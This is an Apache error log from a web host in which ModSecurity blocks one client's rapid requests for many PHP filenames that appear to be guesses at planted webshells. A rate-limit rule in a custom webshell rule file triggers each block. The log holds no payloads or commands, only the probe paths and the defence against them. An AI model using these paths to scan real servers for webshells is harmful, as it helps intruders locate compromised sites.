[Mon Apr 27 02:04:55.897922 2026] [:error] [pid 8491:tid 8508] [client 74.248.148.150:3113] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-at.php"] [unique_id "ae5Txyq7I7e6CJooQM06zQAAAMk"]
[Mon Apr 27 02:04:56.655836 2026] [:error] [pid 8491:tid 8524] [client 74.248.148.150:52460] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-at.php"] [unique_id "ae5TyCq7I7e6CJooQM060QAAANg"]
[Mon Apr 27 02:04:57.403312 2026] [:error] [pid 13137:tid 13152] [client 74.248.148.150:26214] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hk.php"] [unique_id "ae5Tyd0RB4J0o4h5neHMDAAAAgs"]
[Mon Apr 27 02:04:58.135718 2026] [:error] [pid 13137:tid 13164] [client 74.248.148.150:26226] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hk.php"] [unique_id "ae5Tyt0RB4J0o4h5neHMDgAAAhc"]
[Mon Apr 27 02:04:58.756085 2026] [:error] [pid 8491:tid 8514] [client 74.248.148.150:3073] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hk.php"] [unique_id "ae5Tyiq7I7e6CJooQM060wAAAM8"]
[Mon Apr 27 02:04:59.434769 2026] [:error] [pid 22573:tid 22615] [client 74.248.148.150:60149] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hk.php"] [unique_id "ae5Ty3B3EmQlD4yKUt89AQAAAYg"]
[Mon Apr 27 02:05:00.442459 2026] [:error] [pid 22572:tid 22599] [client 74.248.148.150:25445] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lco.php"] [unique_id "ae5TzNXOViWCFU-pZzBfyQAAAVU"]
[Mon Apr 27 02:05:01.706299 2026] [:error] [pid 22573:tid 22619] [client 74.248.148.150:52467] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lco.php"] [unique_id "ae5TzXB3EmQlD4yKUt89AgAAAYw"]
[Mon Apr 27 02:05:02.328421 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:52470] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lco.php"] [unique_id "ae5TztFa2S3EsATMdWO1zwAAABY"]
[Mon Apr 27 02:05:02.844217 2026] [:error] [pid 22573:tid 22610] [client 74.248.148.150:45334] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lco.php"] [unique_id "ae5TznB3EmQlD4yKUt89BAAAAYQ"]
[Mon Apr 27 02:05:03.720626 2026] [:error] [pid 8383:tid 8414] [client 74.248.148.150:3618] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fun.php"] [unique_id "ae5Tz9Fa2S3EsATMdWO10gAAABE"]
[Mon Apr 27 02:05:04.707536 2026] [:error] [pid 8383:tid 8407] [client 74.248.148.150:3074] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fun.php"] [unique_id "ae5T0NFa2S3EsATMdWO11AAAAAo"]
[Mon Apr 27 02:05:05.485753 2026] [:error] [pid 16574:tid 16614] [client 74.248.148.150:65433] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fun.php"] [unique_id "ae5T0X5MsX8wRQr99nZQvgAAA0o"]
[Mon Apr 27 02:05:06.192671 2026] [:error] [pid 22572:tid 22587] [client 74.248.148.150:60810] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fun.php"] [unique_id "ae5T0tXOViWCFU-pZzBfzgAAAUk"]
[Mon Apr 27 02:05:06.730151 2026] [:error] [pid 8390:tid 8461] [client 74.248.148.150:26187] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae5T0oGPtFK_i9p5yxTHNwAAAIo"]
[Mon Apr 27 02:05:07.581625 2026] [:error] [pid 13137:tid 13157] [client 74.248.148.150:3091] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae5T090RB4J0o4h5neHMEwAAAhA"]
[Mon Apr 27 02:05:08.245292 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:60152] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae5T1N0RB4J0o4h5neHMGQAAAg4"]
[Mon Apr 27 02:05:08.814522 2026] [:error] [pid 22572:tid 22586] [client 74.248.148.150:26178] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae5T1NXOViWCFU-pZzBf0AAAAUg"]
[Mon Apr 27 02:05:09.592560 2026] [:error] [pid 13137:tid 13160] [client 74.248.148.150:49291] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huyaa.php"] [unique_id "ae5T1d0RB4J0o4h5neHMHgAAAhM"]
[Mon Apr 27 02:05:10.200819 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:3641] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huyaa.php"] [unique_id "ae5T1t0RB4J0o4h5neHMIAAAAgE"]
[Mon Apr 27 02:05:10.846283 2026] [:error] [pid 22573:tid 22626] [client 74.248.148.150:28652] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huyaa.php"] [unique_id "ae5T1nB3EmQlD4yKUt89CwAAAZM"]
[Mon Apr 27 02:05:11.553977 2026] [:error] [pid 16515:tid 16521] [client 74.248.148.150:3081] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huyaa.php"] [unique_id "ae5T11tDrUmgHSvpuLxrjQAAAkM"]
[Mon Apr 27 02:05:12.101722 2026] [:error] [pid 22573:tid 22628] [client 74.248.148.150:60812] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/te.php"] [unique_id "ae5T2HB3EmQlD4yKUt89DgAAAZU"]
[Mon Apr 27 02:05:12.944500 2026] [:error] [pid 22573:tid 22617] [client 74.248.148.150:60808] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/te.php"] [unique_id "ae5T2HB3EmQlD4yKUt89EgAAAYo"]
[Mon Apr 27 02:05:13.553388 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:49296] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/te.php"] [unique_id "ae5T2d0RB4J0o4h5neHMJgAAAg4"]
[Mon Apr 27 02:05:14.630374 2026] [:error] [pid 8491:tid 8514] [client 74.248.148.150:49328] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/te.php"] [unique_id "ae5T2iq7I7e6CJooQM061wAAAM8"]
[Mon Apr 27 02:05:15.395566 2026] [:error] [pid 22573:tid 22626] [client 74.248.148.150:52433] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ae5T23B3EmQlD4yKUt89GQAAAZM"]
[Mon Apr 27 02:05:16.495285 2026] [:error] [pid 13137:tid 13146] [client 74.248.148.150:65435] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ae5T3N0RB4J0o4h5neHMLQAAAgY"]
[Mon Apr 27 02:05:17.116078 2026] [:error] [pid 22573:tid 22628] [client 74.248.148.150:65448] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ae5T3XB3EmQlD4yKUt89HAAAAZU"]
[Mon Apr 27 02:05:17.682538 2026] [:error] [pid 13197:tid 13241] [client 74.248.148.150:60124] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ae5T3d3kktFKdSxTrBv1fwAAAso"]
[Mon Apr 27 02:05:18.306288 2026] [:error] [pid 22573:tid 22619] [client 74.248.148.150:60855] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "ae5T3nB3EmQlD4yKUt89HgAAAYw"]
[Mon Apr 27 02:05:19.050620 2026] [:error] [pid 22573:tid 22608] [client 74.248.148.150:49324] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "ae5T33B3EmQlD4yKUt89IQAAAYI"]
[Mon Apr 27 02:05:19.631062 2026] [:error] [pid 8383:tid 8406] [client 74.248.148.150:26197] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "ae5T39Fa2S3EsATMdWO14wAAAAk"]
[Mon Apr 27 02:05:20.277466 2026] [:error] [pid 8383:tid 8417] [client 74.248.148.150:29296] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-2019.php"] [unique_id "ae5T4NFa2S3EsATMdWO15AAAABQ"]
[Mon Apr 27 02:05:20.940911 2026] [:error] [pid 22572:tid 22599] [client 74.248.148.150:3607] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/X57.php"] [unique_id "ae5T4NXOViWCFU-pZzBf1AAAAVU"]
[Mon Apr 27 02:05:21.904305 2026] [:error] [pid 16515:tid 16519] [client 74.248.148.150:56248] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/X57.php"] [unique_id "ae5T4VtDrUmgHSvpuLxrkgAAAkE"]
[Mon Apr 27 02:05:22.550933 2026] [:error] [pid 13137:tid 13156] [client 74.248.148.150:60104] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/X57.php"] [unique_id "ae5T4t0RB4J0o4h5neHMLgAAAg8"]
[Mon Apr 27 02:05:23.120362 2026] [:error] [pid 8383:tid 8418] [client 74.248.148.150:3095] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/X57.php"] [unique_id "ae5T49Fa2S3EsATMdWO16AAAABU"]
[Mon Apr 27 02:05:23.681108 2026] [:error] [pid 8385:tid 8436] [client 74.248.148.150:26180] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "ae5T4zOy7_J84Wx3-oz3DwAAAEw"]
[Mon Apr 27 02:05:24.476192 2026] [:error] [pid 8390:tid 8453] [client 74.248.148.150:52472] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "ae5T5IGPtFK_i9p5yxTHPgAAAII"]
[Mon Apr 27 02:05:25.271919 2026] [:error] [pid 8390:tid 8465] [client 74.248.148.150:25471] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "ae5T5YGPtFK_i9p5yxTHQAAAAI4"]
[Mon Apr 27 02:05:25.998463 2026] [:error] [pid 8385:tid 8444] [client 74.248.148.150:3082] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "ae5T5TOy7_J84Wx3-oz3EAAAAFQ"]
[Mon Apr 27 02:05:26.519494 2026] [:error] [pid 8491:tid 8521] [client 74.248.148.150:60133] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "ae5T5iq7I7e6CJooQM064wAAANY"]
[Mon Apr 27 02:05:27.091608 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:65426] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "ae5T590RB4J0o4h5neHMLwAAAhg"]
[Mon Apr 27 02:05:27.693922 2026] [:error] [pid 13137:tid 13144] [client 74.248.148.150:49335] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "ae5T590RB4J0o4h5neHMMwAAAgQ"]
[Mon Apr 27 02:05:28.269409 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:52456] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "ae5T6N0RB4J0o4h5neHMNwAAAgw"]
[Mon Apr 27 02:05:28.977036 2026] [:error] [pid 22572:tid 22591] [client 74.248.148.150:60811] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/z.php"] [unique_id "ae5T6NXOViWCFU-pZzBf2QAAAU0"]
[Mon Apr 27 02:05:29.637160 2026] [:error] [pid 22572:tid 22592] [client 74.248.148.150:65458] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/z.php"] [unique_id "ae5T6dXOViWCFU-pZzBf2gAAAU4"]
[Mon Apr 27 02:05:30.279773 2026] [:error] [pid 8491:tid 8518] [client 74.248.148.150:65418] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/z.php"] [unique_id "ae5T6iq7I7e6CJooQM065QAAANM"]
[Mon Apr 27 02:05:31.125921 2026] [:error] [pid 8491:tid 8516] [client 74.248.148.150:49288] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/z.php"] [unique_id "ae5T6yq7I7e6CJooQM066AAAANE"]
[Mon Apr 27 02:05:31.751073 2026] [:error] [pid 13137:tid 13147] [client 74.248.148.150:65460] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ae5T690RB4J0o4h5neHMQQAAAgc"]
[Mon Apr 27 02:05:32.496839 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:49286] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ae5T7N0RB4J0o4h5neHMRAAAAgw"]
[Mon Apr 27 02:05:33.065967 2026] [:error] [pid 13137:tid 13163] [client 74.248.148.150:52476] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ae5T7d0RB4J0o4h5neHMRgAAAhY"]
[Mon Apr 27 02:05:33.714565 2026] [:error] [pid 13137:tid 13146] [client 74.248.148.150:3110] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ae5T7d0RB4J0o4h5neHMSAAAAgY"]
[Mon Apr 27 02:05:34.429762 2026] [:error] [pid 8491:tid 8513] [client 74.248.148.150:65438] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "ae5T7iq7I7e6CJooQM066wAAAM4"]
[Mon Apr 27 02:05:35.095136 2026] [:error] [pid 8390:tid 8459] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/sk25_1.php
[Mon Apr 27 02:05:35.389342 2026] [:error] [pid 8390:tid 8474] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/usep.php
[Mon Apr 27 02:05:35.683339 2026] [:error] [pid 8390:tid 8475] [client 74.248.148.150:49284] File does not exist: /usr/local/apache/htdocs/suspended-page/vx.php
